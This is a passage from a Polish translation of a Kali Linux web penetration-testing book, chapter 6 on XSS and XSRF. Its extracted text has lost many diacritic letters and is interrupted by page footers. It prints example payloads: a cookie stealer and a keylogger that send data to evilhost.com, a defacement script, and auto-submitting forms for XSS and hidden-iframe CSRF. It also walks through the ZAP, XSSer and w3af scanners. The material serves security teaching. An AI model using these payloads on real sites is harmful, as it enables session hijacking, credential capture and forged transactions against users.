Jednym ze sposobów na przeprowadzenie ataku XSS przy u yciu metody POST jest nak onienieu ytkownika za pomoc sztuczki do wype nienia znajduj cego si na stronie napastnika formu-larza i klikni cia przycisku zatwierdzaj cego. Po tym zdarzeniu aplikacja przenios aby u ytkowni-ka do podatnej na ataki witryny, zamieniaj c dane u ytkownika na szkodliwy skrypt.

Próba zmuszenia u ytkownika do tego, by wype ni formularz w witrynie napastnika, ma ma eszanse powodzenia i rzadko ko czy si sukcesem. Dlatego nale y zastosowa rozwi zanie auto-matyczne, polegaj ce na wstawieniu szkodliwego skryptu i dania POST do podatnej aplikacjibezpo rednio na stron kontrolowan przez napastnika. Zastanówmy si , jak taka strona powinnaby zbudowana. Kontrolowana przez hakera witryna znajduje si pod adresem: http://www.evilattacker.com i aduje podatn na ataki stron : http://www.xssvulnerable.org/search.php. Gdykto wejdzie pod adres evilattacker.com, zostaje wywo ana funkcja onload, wskutek czego przegl -darka wysy a do podatnej witryny metod POST danie HTTP zawieraj ce specjalny kod i abydo tego dosz o, ofiara nie musi nawet klika adnego przycisku. Oto przyk adowy kod tej strony:

<html><head> <body onload="evilsearch.submit();"> <form method="post" action="http://www.xssvulnerable.org/search.php" name="evilsearch"

>

Poleć książkęKup książkę

Page 19: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

165

<input name="search_input" value="<SCRIPT>alert('XSS')</SCRIPT>"> <input type="submit" class="button" name="submit"> </form> </body></html>

Stosuj c t technik , napastnik nie potrzebuje wype nienia formularza przez u ytkownika.Wystarczy, e nak oni go do wej cia na kontrolowan przez siebie stron internetow .

XSS i JavaScript — miertelna mieszankaHakerzy bardzo pomys owo wykorzystuj luki XSS, a dodatek JavaScriptu jeszcze zwi ksza ichmo liwo ci. Techniki XSS w po czeniu z JavaScriptem mog by stosowane do przeprowadzanianast puj cych rodzajów ataków:

przechwytywanie kont; zmienianie tre ci; podmienianie tre ci ca ych witryn; skanowanie portów z komputera ofiary; rejestrowanie naciskanych klawiszy; kradzie informacji z przegl darki.

Poni ej dok adniej omawiam kilka przyk adów.

Kradzie ciasteczekKa da dyskusja na temat ataków typu XSS zaczyna si od tego, jak przy u yciu technik XSSi JavaScriptu mo na zdoby dane z ciasteczek. Wykradzione ciasteczka haker mo e wykorzystaw celu podszycia si pod ofiar na czas sesji, czyli do momentu a u ytkownik wyloguje siz aplikacji.

W asno document.cookie struktury DOM dokumentu HTML-a zwraca warto ci wszystkich cia-steczek przypisanych do bie cej sesji. Napastnik mo e wi c np. wstrzykn do sekcji komentarzywitryny podatnej na ataki typu XSS poni szy kod:

<script language="JavaScript">

Document.location='http://www.evilhost.com/cookielogger.php?cookie='+document.cookie;</script>

Poleć książkęKup książkę

Page 20: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

166

Gdy u ytkownik otworzy t stron , nast puje tak e pobranie dotycz cych jej komentarzy, w któ-rych znajduje si powy szy skrypt wysy aj cy ciasteczko do nale cego do napastnika serweraevilhost.com.

Je li zostanie ustawiona flaga HttpOnly, która jest opcjonaln flag ciasteczek, JavaScript nie b dziemie dost pu do ciasteczka.

Rejestrowanie naciskanych klawiszyWstrzykuj c specjalny skrypt JavaScriptu, napastnik mo e te zarejestrowa , jakie klawisze naci-ska ofiara, i w ten sposób zdoby jej has a, nazwy u ytkownika, numery kart kredytowych itd.,które mo e przes a do swojego serwera.

Poni ej znajduje si przyk adowy prosty skrypt rejestruj cy wszystkie naciskane klawisze:

<script> document.onkeypress = function(e) var img = new Image(); img.src='http://www.evilhost.com/keylogger.php?data='+e.which;</script>

Gdy u ytkownik naci nie jaki klawisz, nast puje uruchomienie zdarzenia onkeypress. Powodujeto utworzenie obiektu o nazwie e dla ka dego klawisza, który zosta naci ni ty. S owo kluczowewhich jest w asno ci obiektu e przechowuj c kod naci ni tego klawisza.

Zmiana wygl du witrynyAtaki, w wyniku których dochodzi do ca kowitej zmiany wygl du witryny, nazywaj si po angiel-sku website defacing. Najcz ciej przeprowadzaj je aktywi ci pragn cy wypromowa swojdzia alno . W asno document.body.innerHTML umo liwia manipulowanie z poziomu JavaScriptuzawarto ci za adowanej strony HTML-owej. Stworzono j do legalnych celów, ale, jak wszystkoinne, napastnik mo e j wykorzysta w z ej wierze — w tym przypadku do podmiany zawarto cistron.

Gdy do aplikacji zostanie wstrzykni ty poni szy skrypt, zawarto bie cej strony zostanie zamie-niona na napis TA WITRYNA PAD A OFIAR ATAKU:

<script> document.body.innerHTML="<div style=visibility:visible;><h1> TA WITRYNA PAD A OFIAR ATAKU</h1></div>";</script>

Poleć książkęKup książkę

Page 21: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

167

Skanowanie w poszukiwaniu luk typu XSSSystem Kali Linux zawiera liczne narz dzia do automatyzacji procesu szukania luk XSS. Najbar-dziej mudna, ale i najskuteczniejsza jest metoda r czna, w ramach której przechwytuje si da-nie HTTP za pomoc po rednika, zmienia si zawarto pól oraz wstawia si w asn tre .

Poniewa aplikacje staj si coraz bardziej skomplikowane, zawieraj wiele pól, w ród którychbardzo atwo przy r cznym przegl dzie pomin te podatne na ataki. Dlatego te technika r cznajest wskazana jedynie, gdy trzeba bardzo dok adnie przeanalizowa wybrany parametr. Z punktuwidzenia napastnika automatyzacja zadania identyfikacji podatnych parametrów jest korzystna,poniewa znacznie skraca czas potrzebny na opracowanie eksploita. W Kali Linuksie znajdujesi kilka narz dzi do automatycznego skanowania aplikacji w poszukiwaniu luk XSS. W tej sekcjiopisuj nast puj ce programy:

OWASP Zed Attack Proxy, XSSer, w3af.

Zed Attack ProxyProgram Zed Attack Proxy (ZAP) to narz dzie open source do przeprowadzania testów penetra-cyjnych na aplikacjach sieciowych. Ten prowadzony przez OWASP projekt jest ga zi proxyParos. W Kali Linuksie 2.0 dost pna jest wersja 2.4.1. Jej najwa niejsze funkcje to:

proxy przechwytuj cy ruch; skaner aktywny i pasywny; brute force; fuzzing; obs uga szerokiego spektrum j zyków zabezpiecze .

Standardowo ZAP dzia a jako pasywny proxy, tzn. nie przechwytuje aktywnie ruchu, dopóki u yt-kownik nie ustawi punktu wstrzymania na adresie URL, wobec którego chcia by przechwyci

danie i odpowied . ZAP mo na znale w sekcji Applications/Web Application Analysis (aplika-cje/analiza aplikacji sieciowych).

W tym przypadku narz dzia ZAP u yjemy do identyfikacji luk XSS w aplikacjach sieciowych.Podobnie jak w przypadku ka dego po rednika (ang. proxy), najpierw nale y skonfigurowaprzegl dark internetow tak, aby przesy a a przez niego ruch. Przegl dark mo na skonfiguro-wa w asnor cznie albo za pomoc specjalnego dodatku o nazwie FoxyProxy do Firefoksa, któryte wymaga wst pnej konfiguracji. Po jej dokonaniu pozostaje wybra ustawienia proxy z menurozwijanego, jak pokazano na poni szym rysunku:

Poleć książkęKup książkę

Page 22: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

168

ZAP to wszechstronne narz dzie do testowania aplikacji sieciowych. Na karcie Sites (witryny),znajduj cej si w lewym górnym rogu okna, znajduje si lista wszystkich odwiedzonych serwisów.Podczas przegl dania portalu program prowadzi w tle pasywne skanowanie i próbuje wykry lukiza pomoc analizy stron.

Narz dzie sprawdza dania i odpowiedzi HTTP, aby stwierdzi , czy istnieje mo liwo wyst po-wania jakiej luki w zabezpieczeniach. Wykryte usterki wy wietla na znajduj cej si u do u oknakarcie Alerts (powiadomienia). Na rysunku na nast pnej stronie wida , e program znalaz cia-steczka ustawiane bez u ycia znacznika HTTPOnly:

Poleć książkęKup książkę

Page 23: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

169

Okre lanie zakresu i wybór trybówPo skonfigurowaniu przegl darki do wspó pracy z ZAP program ten wy wietla wszystkie odwie-dzane strony w okienku Sites po lewej stronie. Podczas testu penetracyjnego wa ne jest, abyzidentyfikowa okre lone cele, dlatego nale y zdefiniowa zakres witryn. W tym celu kliknijprawym przyciskiem myszy interesuj cy Ci adres URL, rozwi menu Include in Context (dodajdo kontekstu) i kliknij pozycj New context (nowy kontekst), aby utworzy nowy zakres dla tegoadresu. Adresy dodane do zakresu s oznaczone specjaln ikon : .

Je eli w witrynie stosowane jest uwierzytelnianie za pomoc formularza i tre mo na obejrzetylko po zalogowaniu, adres URL strony uwierzytelniania nale y oznaczy jako Form-based AuthLogin request ( danie autoryzacji logowania za pomoc formularza), jak pokazano na poni szymrysunku:

Poleć książkęKup książkę

Page 24: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

170

W oknie konfiguracji wybierz opcj Authentication (uwierzytelnianie), a nast pnie skonfigurujparametry nazwy u ytkownika i has a. W opcji Users (u ytkownicy) zdefiniuj nazw u ytkownikai has o, a nast pnie wybierz tego u ytkownika w opcji Forced User (wymuszany u ytkownik):

Po skonfigurowaniu tych trzech opcji w oknie g ównym zostanie aktywowana opcja Forced UserMode (tryb u ytkownika wymuszonego):

Po w czeniu opcji Forced User Mode ka de danie przesy ane przez ZAP b dzie automatycznieuwierzytelniane. Je eli u ytkownik zostanie wylogowany podczas skanowania, automatycznienast pi ponowne zalogowanie.

Tryby dzia aniaZAP mo na skonfigurowa do dzia ania w kilku trybach. W lewym górnym rogu okna znajduje silista rozwijana zawieraj ca trzy tryby:

Safe mode (tryb bezpieczny) — w tym trybie ZAP skanuje aplikacj w sposóbnieintruzyjny, tzn. dzia a jak skaner pasywny, próbuj c zidentyfikowa najprostszeb dy, takie jak mo liwo przegl dania katalogów czy wycieki informacji. Narz dzieaktywnie nie wchodzi w interakcje z aplikacj , wi c nie ma mo liwo ci wykryciapowa nych b dów zabezpiecze , takich jak luki XSS.

Poleć książkęKup książkę

Page 25: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

171

Protected mode (tryb chroniony) — wybieraj c tryb chroniony, mo na stosowaagresywne techniki skanowania w odniesieniu do adresu URL okre lonego w zakresie.

Standard mode (tryb standardowy) — w tym trybie mo na stosowa wszystkieagresywne metody skanowania, bez wzgl du na to, czy dany adres URL jest w zakresie,czy nie.

Polityka skanowania i atakZa pomoc narz dzia ZAP mo na szuka wszystkich najwa niejszych luk w zabezpieczeniach, alemy wykorzystamy go przede wszystkim do szukania luk umo liwiaj cych przeprowadzanie atakówXSS. W zwi zku z tym musimy zdefiniowa polityk skanowania, aby skonfigurowa regu y XSSw ramach aktywnego skanowania.

Na górze znajduje si menu o nazwie Analyse (analizuj), w którym nale y klikn pozycj ScanPolicy (polityka skanowania). Spowoduje to otwarcie okna konfiguracji. Obok nazwy ka dego testuznajduj si opcje Threshold (próg) i Strength (moc) — zobacz rysunek na nast pnej stronie.

Poni ej znajduje si szczegó owy opis tych opcji: Threshold — ta opcja okre la poziom niezawodno ci luk wykrytych w te cie.

Ustawienie Low (niski) powoduje, e cz ciej b d wyst powa fa szywe wynikidodatnie. Ustawienie High (wysoki) pozwala znale mniej luk. Wprawdzie dzi kitemu otrzymamy mniej fa szywych wyników dodatnich, ale jednocze nie mo emyprzeoczy co wa nego. Dlatego najlepiej jest wybra ustawienie po rednie,czyli opcj Medium.

Strength — ta opcja okre la liczb testów, które ZAP ma wykona w celupotwierdzenia istnienia luki. Wybór ustawienia Low sprawi, e ZAP przetestujewykryt luk przy u yciu mniejszej liczby pakietów danych i test szybciejdobiegnie ko ca. Z drugiej strony, ustawienie High zapewni wypróbowanie

Poleć książkęKup książkę

Page 26: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

172

wi kszej liczby metod ataku, co wyd u y czas trwania testu. Opcja Insane(bez umiaru), jak wskazuje nazwa, powoduje wykonanie bardzo du ej liczbyataków i powinno si z niej korzysta tylko w warunkach laboratoryjnychi w rodowiskach kontrolowanych.

Aby skonfigurowa polityk dotycz c luk XSS, nale y poda jej nazw i z lewej strony w sekcjiInjection wy czy wszystkie testy z wyj tkiem cross-site scripting (persistent) i cross-site scripting(reflected). Je li zamierzasz jeszcze kiedy wykorzysta t polityk , kliknij przycisk Save Policy(zapisz polityk ). Nast pnie kliknij prawym przyciskiem myszy docelowy adres URL i przejddo Attack/Active scan all in scope (atak/aktywne skanowanie wszystkich w zakresie).

W efekcie ZAP rozpocznie swoje czary i wy wietli powiadomienia o wszystkich znalezionychlukach XSS u do u okna na karcie Alerts. Klikni cie jednego z powiadomie spowoduje wy wie-tlenie wys anego do serwera dania HTTP, które spowodowa o ujawnienie luki. Na rysunku nanast pnej stronie wida , e wstrzykni to skrypt do parametru author.

XSSerProgram Cross Site Scripter (XSSer) to narz dzie do automatycznego wykrywania i wykorzy-stywania luk XSS. W Kali Linuksie dost pna jest wersja 1.6 (beta). Program ten zawiera kilkaopcji umo liwiaj cych obej cie filtrów danych wej ciowych zaimplementowanych przez twórcówatakowanej aplikacji.

Poleć książkęKup książkę

Page 27: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

173

FunkcjeOto niektóre najwa niejsze funkcje programu XSSer:

narz dzie wiersza polece i interfejs graficzny; wy wietlanie szczegó owych danych dotycz cych ataku; wstrzykiwanie kodu za pomoc metod GET i POST; mo liwo dodania ciasteczka w odniesieniu do witryn wymagaj cych uwierzytelniania; mo liwo ustawiania ró nych pól nag ówka HTTP, np. Referrer i User-Agent; ró ne techniki obchodzenia filtrów, np. stosowanie kodowania dziesi tnego

i szesnastkowego oraz korzystanie z funkcji unescape().

Graficzny interfejs u ytkownika (ang. graphical user interface — GUI) programu XSSer mo nauruchomi wprost z poziomu pow oki za pomoc opcji -gtk. Zawiera on tak e kreator dla nowychu ytkowników, który zadaje kilka pyta i na podstawie otrzymanych odpowiedzi tworzy szablon.Po zdefiniowaniu wszystkich opcji dotycz cych planowanego testu nale y klikn przycisk Aim(celuj), aby pozwoli programowi dzia a (zobacz rysunek na nast pnej stronie).

Skrót gtk oznacza Gimp Toolkit, czyli zestaw narz dzi u ywany przez programistów do tworzenia graficznychinterfejsów do programów.

Poleć książkęKup książkę

Page 28: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

174

Do wiadczeni hakerzy wol pos ugiwa si wierszem polece . Za pomoc polecenia xsser -helpmo na wy wietli list obs ugiwanych przez narz dzie opcji. Najwa niejsze polecenia s wymie-nione w poni szej tabeli:

Opcja Opis

-u Okre la docelowy adres URL-g Wstrzykuje skrypt w okre lonym parametrze GET-p Wstrzykuje skrypt w okre lonym parametrze POST--heuristic Próbuje si dowiedzie , które znaki filtruje aplikacja--cookie Wstawia ciasteczko do dania HTTP-s -v Opcje wy wietlaj ce statystyki i pe ne dane wynikowe

XSSer to zaawansowane narz dzie zawieraj ce znacznie wi cej opcji ni wymieniono w tej tabeli,ale ten zestaw powinien wystarczy na dobry pocz tek.

Poni ej przedstawiam przyk ad testu aplikacji sieciowej podatnej na ataki XSS. Aplikacja tawymaga uwierzytelniania, po którego dokonaniu ustawia ciasteczko identyfikuj ce u ytkownikaw nast pnych operacjach. Ciasteczko to jest przesy ane w daniu za pomoc opcji -cookie. Para-metr do przetestowania jest przekazywany za pomoc opcji -g, tak jak w metodzie GET:

xsser -u "http://192.168.1.72/dvwa/vulnerabilities/" -g"xss_r/?name=" --cookie="security=low;PHPSESSID=n78lph8ojlp0khpli1ms3s73h5" -s –v

Ze wzgl du na u ycie opcji Verbose w wynikach pokazane s te ró ne domy lne opcje ustawioneprzez program XSSer. XSSer wstrzykuje parametr i próbuje si dowiedzie , czy jest on podatnyna atak XSS, jak wida na rysunku na nast pnej stronie.

w3afKolejnym ciekawym narz dziem w systemie Kali Linux jest rodowisko do przeprowadzaniaaudytów i atakowania aplikacji sieciowych, którego skrótowa nazwa brzmi w3af. U y em s owa„ rodowisko”, poniewa jest to niezwykle bogato wyposa ony program. Obs uguje si go za po-moc menu. Zawiera liczne bardzo przydatne i pozwalaj ce oszcz dzi czas funkcje, takie jakautomatyczne uzupe nianie podobne do tego w Metasploicie, i mo e si pochwali wyj tkowobogat baz wtyczek.

Na szczególn uwag zas uguje funkcja tworzenia adunków do hakowania aplikacji sieciowych.Wykorzystywanie luk w aplikacjach sieciowych i uzyskiwanie dost pu do komputera docelowe-go przez wys anie w asnego adunku danych zawsze jest trudne, ale rodowisko w3af zawierawtyczki, dzi ki którym ta faza staje si nieco mniej uci liwa, oraz umo liwiaj ce integracjz Metasploitem, dzi ki czemu mo na wys a adunek Metasploita do komputera docelowegoi u y go w pó niejszej fazie eksploracji.

Poleć książkęKup książkę

Page 29: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

175

WtyczkiWtyczki w programie w3af s podzielone na kilka kategorii, z których najwa niejsze opisa emponi ej:

Crawl (przegl danie stron) — wtyczki z tej kategorii s u do przegl daniazawarto ci stron i identyfikacji nowych adresów URL. Znajduj potencjalne punktywstrzykiwania kodu, które mog by wykorzystane przez inne wtyczki.

Audit (audyt) — jest to grupa wtyczek wykorzystuj cych punkty wstrzykiwania koduwykryte przez wtyczki z kategorii Crawl i sprawdzaj cych ich podatno na ataki.

Grep — te wtyczki s u do identyfikacji najprostszych zdobyczy, takich jak stronyb dów, komentarze, nag ówki HTTP i ró ne usterki powoduj ce wyciek informacji.Dane s zdobywane przez analiz da i odpowiedzi.

Infrastructure (infrastruktura) — s to wtyczki do badania serwera docelowegooraz identyfikowania systemu operacyjnego, wersji bazy danych i zdobywaniainformacji dotycz cych DNS.

Output (wyniki) — wtyczki z tej kategorii definiuj format wyników. Auth (autoryzacja) — w aplikacjach wymagaj cych uwierzytelniania wtyczka

ta dostarcza podane wcze niej nazw u ytkownika i has o, dzi ki czemu mo liwejest automatyczne uwierzytelnianie w aplikacji.

Narz dzie w3af znajduje si w sekcji Applications/Web Application Analysis. Ewentualnie mo nate uruchomi narz dzie wiersza polece , wpisuj c w terminalu polecenie w3af_console. Po jegowykonaniu za pomoc polecenia help mo na wy wietli list dost pnych mo liwo ci:

Poleć książkęKup książkę

Page 30: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

176

Aby wy wietli wszystkie kategorie wtyczek, nale y wykona polecenia plugins i help. Aby wy-wietli szczegó owe informacje o ró nych wtyczkach dost pnych w wybranej kategorii, nale y

wpisa nazw kategorii, np. audit, jak wida na poni szym rysunku:

Aby przygotowa wybran wtyczk do u ycia, nale y wpisa nazw kategorii i kilka pierwszychznaków nazwy tej wtyczki, a nast pnie nacisn klawisz Tab.

Interfejs graficznySposób testowania luki XSS zademonstruj na przyk adzie z u yciem graficznego interfejsuu ytkownika programu w3af. Program ten ma kilka gotowych profili zawieraj cych wybór wtyczekzgrupowanych w jeden pakiet. Na przyk ad profil OWASP_TOP10 mo e wybra kto , kto chceprzetestowa adres URL pod k tem dziesi ciu najcz ciej spotykanych luk bezpiecze stwaaplikacji sieciowych wed ug organizacji OWASP:

Poleć książkęKup książkę

Page 31: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

177

Aby sprawdzi wybrany adres URL pod k tem luk XSS, nale y wybra wtyczk XSS z kategoriiaudytowej. Je eli test ma dotyczy luki XSS z utrwaleniem, u do u ekranu nale y wybra opcjpersistent_xss. Nast pnie wystarczy poda docelowy URL i klikn przycisk Start (zobaczpierwszy rysunek na nast pnej stronie).

W oknie Log zostanie wy wietlona informacja o wykrytej luce XSS wraz z identyfikatoremdania, który mo na powi za z konkretnymi daniami wys anymi do aplikacji docelowej.

W tym okienku wy wietlany jest te stan skanowania (zobacz drugi rysunek na nast pnej stronie).

Poleć książkęKup książkę

Page 32: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

178

Aby si dowiedzie , która para danie-odpowied spowodowa a ujawnienie usterki, nale yprzej do okna Results (wyniki), w którym znajduj si zarówno nag ówki, jak i tre obu tychelementów komunikacji. W poni szym przyk adzie podatny na ataki jest parametr page:

Luki typu XSRFLuki typu XSRF (ang. cross-site request forgery) s cz sto mylnie uwa ane za luki podobne do XSS.Jednak w ataku XSS haker wykorzystuje zaufanie, jakim u ytkownik darzy wybran witryn ,i dzi ki temu sk ania go do wykonania swoich skryptów. Natomiast sednem ataków XSRF jestwykorzystanie zaufania, jakim witryna darzy przegl dark u ytkownika, w efekcie czego wykonujewszelkie dania pochodz ce od uwierzytelnionej sesji bez weryfikacji, czy rzeczywi cie u ytkow-nik chcia dan czynno wykona .

W ataku XSRF napastnik wykorzystuje fakt, e u ytkownik jest ju uwierzytelniony w aplikacji,dzi ki czemu wszystko, co klient wy le do serwera, zostanie potraktowane jako legalna dzia alno .

Je li nie zostan wdro one odpowiednie zabezpieczenia, w ataku XSRF mo e zosta wykorzystanaka da funkcja aplikacji sieciowej, która wymaga cho by jednego dania w ramach uwierzytel-nionej sesji. Oto kilka czynno ci, jakie napastnik mo e wykona w ramach ataku typu XSRF:

zmiana danych u ytkownika w aplikacji sieciowej, np. adresu e-mail i daty urodzenia; wykonanie nielegalnych transakcji bankowych; nieuczciwe g osowanie na stronach internetowych; dodawanie pozycji do koszyka bez wiedzy w a ciciela w sklepie internetowym.

Poleć książkęKup książkę

Page 33: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

179

Warunki powodzenia atakuPowodzenie wykorzystania luki XSRF zale y od kilku czynników:

Poniewa atak XSRF polega na wykorzystaniu uwierzytelnionej sesji, ofiara musiutworzy aktywn uwierzytelnion sesj w aplikacji docelowej. Ponadto aplikacjata musi zezwala na wykonywanie transakcji w sesji bez dodatkowego uwierzytelniania.

XSRF to lepy atak, w ramach którego atakowana aplikacja sieciowa nie wysy aodpowiedzi do napastnika, tylko do ofiary. Napastnik musi zna parametry witrynymog ce wywo a okre lon akcj . Je li np. haker chce zmieni zarejestrowanyw witrynie adres e-mail ofiary, to musi znale parametr s u cy do dokonywaniatakich zmian. Zatem napastnik musi mie dobre rozeznanie w sposobie dzia aniaaplikacji, które mo e zdoby przez bezpo redni kontakt.

Je li aplikacja wykorzystuje metod POST, napastnik musi znale sposób na nak onienieu ytkownika do klikni cia spreparowanego adresu URL lub wej cia na specjalnieprzygotowan stron . Cel ten mo na osi gn za pomoc in ynierii spo ecznej.

Technika atakuZ trzeciego punktu w poprzedniej sekcji wynika, e ofiara musi bezwiednie za pomoc swojejprzegl darki wys a danie do aplikacji docelowej. Mo na to osi gn na kilka sposobów:

Jedn z najcz ciej stosowanych technik, któr te powszechnie wykorzystuje siw demonstracjach ataków XSRF, jest u ywanie znacznika obrazu. Metoda ta polegana zmuszeniu podst pem ofiary do wej cia na specjaln stron , na której adowanyjest ma y obraz wykonuj cy w imieniu ofiary nieuczciw transakcj . Poni ej znajdujesi przyk ad takiego kodu:

<imgsrc=http://vulnerableapp.com/userinfo/[email protected] height="1" width="1"/>

Wysoko i szeroko obrazu zosta y ustawione zaledwie na 1 piksel, przez co nawetje li ród o obrazu nie jest prawid owe, u ytkownik i tak tego nie zauwa y. Kodten zmienia adres e-mail u ytkownika aplikacji na [email protected]. Ta technikadzia a tylko w przypadku da GET.

T sam technik mo na zastosowa z u yciem znacznika skryptu. Podczasadowania szkodliwej strony w przegl darce u ytkownika nast puje wykonanie

skryptu, który niepostrze enie wykonuje nielegaln transakcj . Przeprowadzenie ataku na witryny wykorzystuj ce metod POST jest trudniejsze.

Napastnik musi pos u y si ukryt ramk wewn trzn i za adowa w niej formularz,który ma za zadanie wykona dan funkcj w odniesieniu do podatnej na atakiaplikacji sieciowej. Poni ej przedstawiam stosowny przyk ad:

<iframe style=visibility:"hidden" name="csrf-frame"></iframe><form name="csrf" action=""http://vulnerableapp/userinfo/edit.php"

Poleć książkęKup książkę

Page 34: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Kali Linux. Testy penetracyjne

180

method="POST" target="csrf-frame"><input type="hidden" name="email" value="[email protected]"><input type='submit' value='submit'></form><script>document.csrf.submit();</script>

Ataki typu XSRF czasami nazywane s atakami najazdu na sesj (ang. session riding attack).

Niektórzy dziwi si , jak to mo liwe, e strona spreparowana przez napastnika wysy a formularzdo innej strony, która znajduje si w innej domenie. Przypominam o opisanej w sekcji „Historiaataków typu XSS” zasadzie tego samego pochodzenia oraz o tym, sk d wzi y si ataki XSS. Nale-y jednak wiedzie , e ta zasada nie zabrania zatwierdzania formularzy mi dzy ró nymi domena-

mi. Uniemo liwia ona tylko dost p do danych za pomoc skryptów znajduj cych si w innej do-menie ni te dane.

Szukanie luk typu XSRFZ opisu luki XSRF jasno wynika, e jest to usterka logiki biznesowej. Do wiadczony programi-sta zawsze doda do aplikacji sieciowej mechanizm wymagaj cy potwierdzenia to samo ci u yt-kownika przed wykonaniem jakiejkolwiek wa nej operacji, takiej jak zmiana has a, aktualizacjadanych osobowych czy wykonanie transakcji finansowej na internetowym koncie bankowym.Szukanie luk w logice biznesowej nie jest zadaniem odpowiednim dla automatycznych skanerówaplikacji sieciowych, poniewa te dzia aj na bazie gotowych zestawów regu . Wi kszo takichskanerów wykonuje np. poni sze czynno ci, aby si dowiedzie , czy dany adres URL jest podatnyna ataki XSRF:

sprawdzenie, czy w daniu i odpowiedzi wyst puj nazwy tokenów typowedla zabezpiecze przed atakami XSRF;

dedukcja, czy aplikacja sprawdza pole odsy acza, przez wys anie fa szywego odsy acza; tworzenie mutantów w celu sprawdzenia, czy aplikacja prawid owo weryfikuje

warto tokena; szukanie tokenów i edytowalnych parametrów w a cuchu zapytania.

Wszystkie wymienione techniki stosowane przez wi kszo automatycznych skanerów aplikacjis obarczone wysokim ryzykiem fa szywych wyników pozytywnych i negatywnych. W aplikacjimog by zastosowane ca kiem inne metody zapobiegania atakom XSRF i wówczas narz dziapos uguj ce si tymi technikami staj si bezu yteczne.

Najlepszym sposobem analizy aplikacji pod k tem wyst powania luki XSRF jest zdobycie pe nejwiedzy na temat sposobu dzia ania celu. Mo na uruchomi po rednik Burp albo program ZAPi przechwyci troch ruchu, aby przeanalizowa dania i odpowiedzi. Potem mo na stworzystron HTML-ow z replik podatnego kodu zidentyfikowanego dzi ki po rednikowi. Najlepszmetod szukania luk XSRF jest metoda manualna.

Poleć książkęKup książkę

Page 35: Tytuł oryginału: Web Penetration Testing with Kali Linux ...pdf.helion.pl/kalil2/kalil2.pdf · Metasploit Browser Exploit 212 Tabnabbing Attack 212 Browser Exploitation Framework

Rozdzia 6. • Luki umo liwiaj ce przeprowadzanie ataków XSS i XSRF

181

Dobrzy ludzie z OWASP spróbowali u atwi ten r czny proces i stworzyli projekt OWASPCSRFTester. Oto wskazówki krok po kroku, jak skorzysta z tego narz dzia:

1. Pobierz program ze strony:https://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project,na której znajduje si te instrukcja obs ugi.

2. Za pomoc wbudowanej w narz dzie funkcji proxy zapisz transakcj ,któr chcesz przetestowa pod k tem wyst powania luki XSRF.

3. Na podstawie przechwyconych danych zmie parametry i warto ci,które podejrzewasz o podatno na ataki XSRF.

4. Gdy to wszystko zrobisz, narz dzie CSRFTester utworzy plik HTML-a. Przyjego u yciu mo esz stworzy atak wykorzystuj cy opisan wcze niej metodyk .

